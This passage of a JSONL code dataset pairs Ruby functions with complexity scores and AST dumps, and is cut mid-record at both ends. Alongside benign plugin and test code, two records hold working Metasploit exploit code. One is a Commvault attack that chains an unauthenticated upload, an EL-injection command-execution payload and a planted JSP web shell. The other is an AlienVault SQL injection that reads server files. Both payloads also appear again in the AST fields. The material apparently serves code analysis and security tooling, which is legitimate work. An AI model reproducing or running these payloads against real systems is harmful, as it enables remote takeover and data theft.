\"this plugin '#{self.class}' allows <buffer tag> only\"\n          end\n        end\n\n        self.extend BufferedChunkMixin\n      end","complexity_score":42.7,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bufconf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CompatOutputUtils\"]},\"buffer_section\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config_style\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufconf\"]},{\"type\":\"sym\",\"children\":[\"v1\"]},{\"type\":\"sym\",\"children\":[\"v0\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"v0\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"flush_mode\"]},{\"type\":\"str\",\"children\":[\"interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"retry_type\"]},{\"type\":\"str\",\"children\":[\"exponential_backoff\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUFFER_PARAMS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"older\"]},{\"type\":\"arg\",\"children\":[\"newer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newer\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"older\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"older\"]},\"==\",{\"type\":\"str\",\"children\":[\"buffer_queue_full_action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"older\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"exception\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"newer\"]},{\"type\":\"str\",\"children\":[\"throw_exception\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"newer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"older\"]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"elements\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"buffer\"]},{\"type\":\"str\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"buf_params\"]},{\"type\":\"array\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParserUtils\"]},\"convert_parser_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormatterUtils\"]},\"convert_formatter_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"v1\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"chunk_keys\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"this plugin '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"' allows <buffer tag> only\"]}]}]},null]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extend\",{\"type\":\"const\",\"children\":[null,\"BufferedChunkMixin\"]}]}]}]}","id":"b39eb640-b8c4-4a9d-85cb-00b62ddb77c4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb","start_line":307,"raw_source":"def execute_command(hostname, uid, cmd, token, install_path, prev_desc)\n    # This EL injection payload was taken from EITW of an Ivanti vuln. It's non-blind, which is a nice benefit\n    # Note that ampersand is a bad character in the injection context\n    payload = \"${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{cmd}').getInputStream()).useDelimiter('%5C%5CA').next()}\"\n\n    # Weaponize unauthenticated file upload to create an XML file that defines an operation to retrieve user details\n    user_details_op_xml = \"<App_GetUserPropertiesRequest level=\\\"30\\\">\\r\\n\\t<user userName=\\\"#{hostname}_localadmin__\\\" /></App_GetUserPropertiesRequest>\"\n    message = Rex::MIME::Message.new\n\n    # These can be anything. Random hex str to avoid signatures where possible\n    random_str = rand_text_hex(8)\n    message.add_part(random_str, nil, nil, 'form-data; name=\"username\"')\n    message.add_part(random_str, nil, nil, 'form-data; name=\"password\"')\n    message.add_part(random_str, nil, nil, 'form-data; name=\"ccid\"')\n    message.add_part(random_str, nil, nil, 'form-data; name=\"uploadToken\"')\n\n    # File contents to write\n    message.add_part(user_details_op_xml, nil, nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{random_str}.xml\\\"\")\n\n    vprint_status(\"Uploading XML file: #{user_details_op_xml}\")\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'commandcenter', 'metrics', 'metricsUpload.do'),\n      'ctype' => \"multipart/form-data; boundary=#{message.bound}\",\n      'data' => message.to_s\n    )\n\n    fail_with(Failure::Unknown, 'No response when uploading XML file') unless res\n\n    if res.code != 200\n      vprint_status(\"Unexpected status code: #{res.code}\")\n      fail_with(Failure::UnexpectedReply, 'Non-200 status code when uploading XML file')\n    end\n\n    # The localadmin user's description is set to EL payload\n    res = update_user_desc(token, uid, payload)\n\n    fail_with(Failure::Unknown, 'No response when setting user description') unless res\n\n    if res.code != 200\n      fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when updating user description')\n    end\n\n    # Wrap in begin/ensure so that the injection in localadmin user description will be cleaned up\n    begin\n      # Move XML file to web shell\n      qcommand_op = \"qoperation execute -af #{install_path}\\\\Reports\\\\MetricsUpload\\\\Upload\\\\#{random_str}\\\\#{random_str}.xml -file #{install_path}\\\\Apache\\\\webapps\\\\ROOT\\\\#{random_str}.jsp\"\n\n      vprint_status(\"Moving XML file to web shell: #{qcommand_op}\")\n\n      res = send_request_cgi(\n        'method' => 'POST',\n        'ctype' => 'text/plain',\n        'uri' => normalize_uri(target_uri.path, 'commandcenter', 'RestServlet', 'QCommand'),\n        'headers' => {\n          'Authtoken' => token\n        },\n        'data' => qcommand_op\n      )\n\n      fail_with(Failure::Unknown, 'No response when creating web shell') unless res\n\n      if res.code != 200 || !res.body.include?('Operation Successful.Results written')\n        fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code with success message when creating web shell')\n      end\n\n      # Register the newly written JSP web shell file for cleanup\n      register_file_for_cleanup(\"#{install_path}\\\\Apache\\\\webapps\\\\ROOT\\\\#{random_str}.jsp\")\n\n      # Access the web shell to trigger remote code execution\n      vprint_status(\"Accessing the web shell file: #{random_str}.jsp\")\n\n      send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, \"#{random_str}.jsp\")\n      }, nil)\n    ensure\n      # Reinstate the pre-existing user description\n      res = update_user_desc(token, uid, prev_desc)\n\n      fail_with(Failure::Unknown, 'No response when resetting user description') unless res\n\n      if res.code != 200\n        fail_with(Failure::UnexpectedReply, 'The target did not return a 200 code when resetting user description')\n      end\n    end\n  end","complexity_score":78.08,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hostname\"]},{\"type\":\"arg\",\"children\":[\"uid\"]},{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"install_path\"]},{\"type\":\"arg\",\"children\":[\"prev_desc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"').getInputStream()).useDelimiter('%5C%5CA').next()}\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_details_op_xml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<App_GetUserPropertiesRequest level=\\\"30\\\">\\r\\n\\t<user userName=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\"_localadmin__\\\" /></App_GetUserPropertiesRequest>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"random_str\",{\"type\":\"send\",\"children\":[null,\"rand_text_hex\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"random_str\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"username\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"random_str\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"password\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"random_str\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"ccid\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"random_str\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"uploadToken\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"user_details_op_xml\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_str\"]}]},{\"type\":\"str\",\"children\":[\".xml\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading XML file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_details_op_xml\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"commandcenter\"]},{\"type\":\"str\",\"children\":[\"metrics\"]},{\"type\":\"str\",\"children\":[\"metricsUpload.do\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response when uploading XML file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected status code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Non-200 status code when uploading XML file\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"update_user_desc\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response when setting user description\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"The target did not return a 200 code when updating user description\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"qcommand_op\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"qoperation execute -af \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Reports\\\\MetricsUpload\\\\Upload\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_str\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_str\"]}]},{\"type\":\"str\",\"children\":[\".xml -file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Apache\\\\webapps\\\\ROOT\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_str\"]}]},{\"type\":\"str\",\"children\":[\".jsp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Moving XML file to web shell: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qcommand_op\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"commandcenter\"]},{\"type\":\"str\",\"children\":[\"RestServlet\"]},{\"type\":\"str\",\"children\":[\"QCommand\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authtoken\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"qcommand_op\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response when creating web shell\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Operation Successful.Results written\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"The target did not return a 200 code with success message when creating web shell\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Apache\\\\webapps\\\\ROOT\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_str\"]}]},{\"type\":\"str\",\"children\":[\".jsp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Accessing the web shell file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_str\"]}]},{\"type\":\"str\",\"children\":[\".jsp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_str\"]}]},{\"type\":\"str\",\"children\":[\".jsp\"]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"update_user_desc\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]},{\"type\":\"lvar\",\"children\":[\"prev_desc\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response when resetting user description\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"The target did not return a 200 code when resetting user description\"]}]},null]}]}]}]}]}]}","id":"b03bc778-993c-45eb-999a-2a524bea7e19"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/category.rb","start_line":87,"raw_source":"def toggle_form_templates\n        find(\".d-toggle-switch .d-toggle-switch__checkbox-slider\").click\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_form_templates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".d-toggle-switch .d-toggle-switch__checkbox-slider\"]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"b13ced4c-c4b0-4fdf-81d8-c592cf5b3bab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb","start_line":141,"raw_source":"def sqli(left_marker, right_marker, sql_true, i, cookie, filename)\n    pay = \"X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack(\"H*\")[0]},\"\n    pay << \"(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),\"\n    pay << \"0x20)),#{(50 * i) + 1},50)),0x#{right_marker.unpack(\"H*\")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS\"\n    pay << \" GROUP BY x)a) AND ('0x#{sql_true.unpack(\"H*\")[0]}'='0x#{sql_true.unpack(\"H*\")[0]}\"\n\n    get = {\n      'insertafter' => pay,\n      'ctx' => 0\n    }\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'),\n      'cookie' => cookie,\n      'vars_get' => get\n    })\n\n    if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/\n      return $1\n    else\n      print_error(\"Server did not respond in an expected way\")\n      return nil\n    end\n  end","complexity_score":31.25,"ast_json":"{\"type\":\"def\",\"children\":[\"sqli\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left_marker\"]},{\"type\":\"arg\",\"children\":[\"right_marker\"]},{\"type\":\"arg\",\"children\":[\"sql_true\"]},{\"type\":\"arg\",\"children\":[\"i\"]},{\"type\":\"arg\",\"children\":[\"cookie\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pay\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_marker\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pay\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\")) AS CHAR),\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pay\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"0x20)),\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[50]},\"*\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\",50)),0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_marker\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\",FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pay\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" GROUP BY x)a) AND ('0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_true\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"'='0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql_true\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"insertafter\"]},{\"type\":\"lvar\",\"children\":[\"pay\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctx\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"ossim\"]},{\"type\":\"str\",\"children\":[\"policy\"]},{\"type\":\"str\",\"children\":[\"newpolicyform.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"lvar\",\"children\":[\"get\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\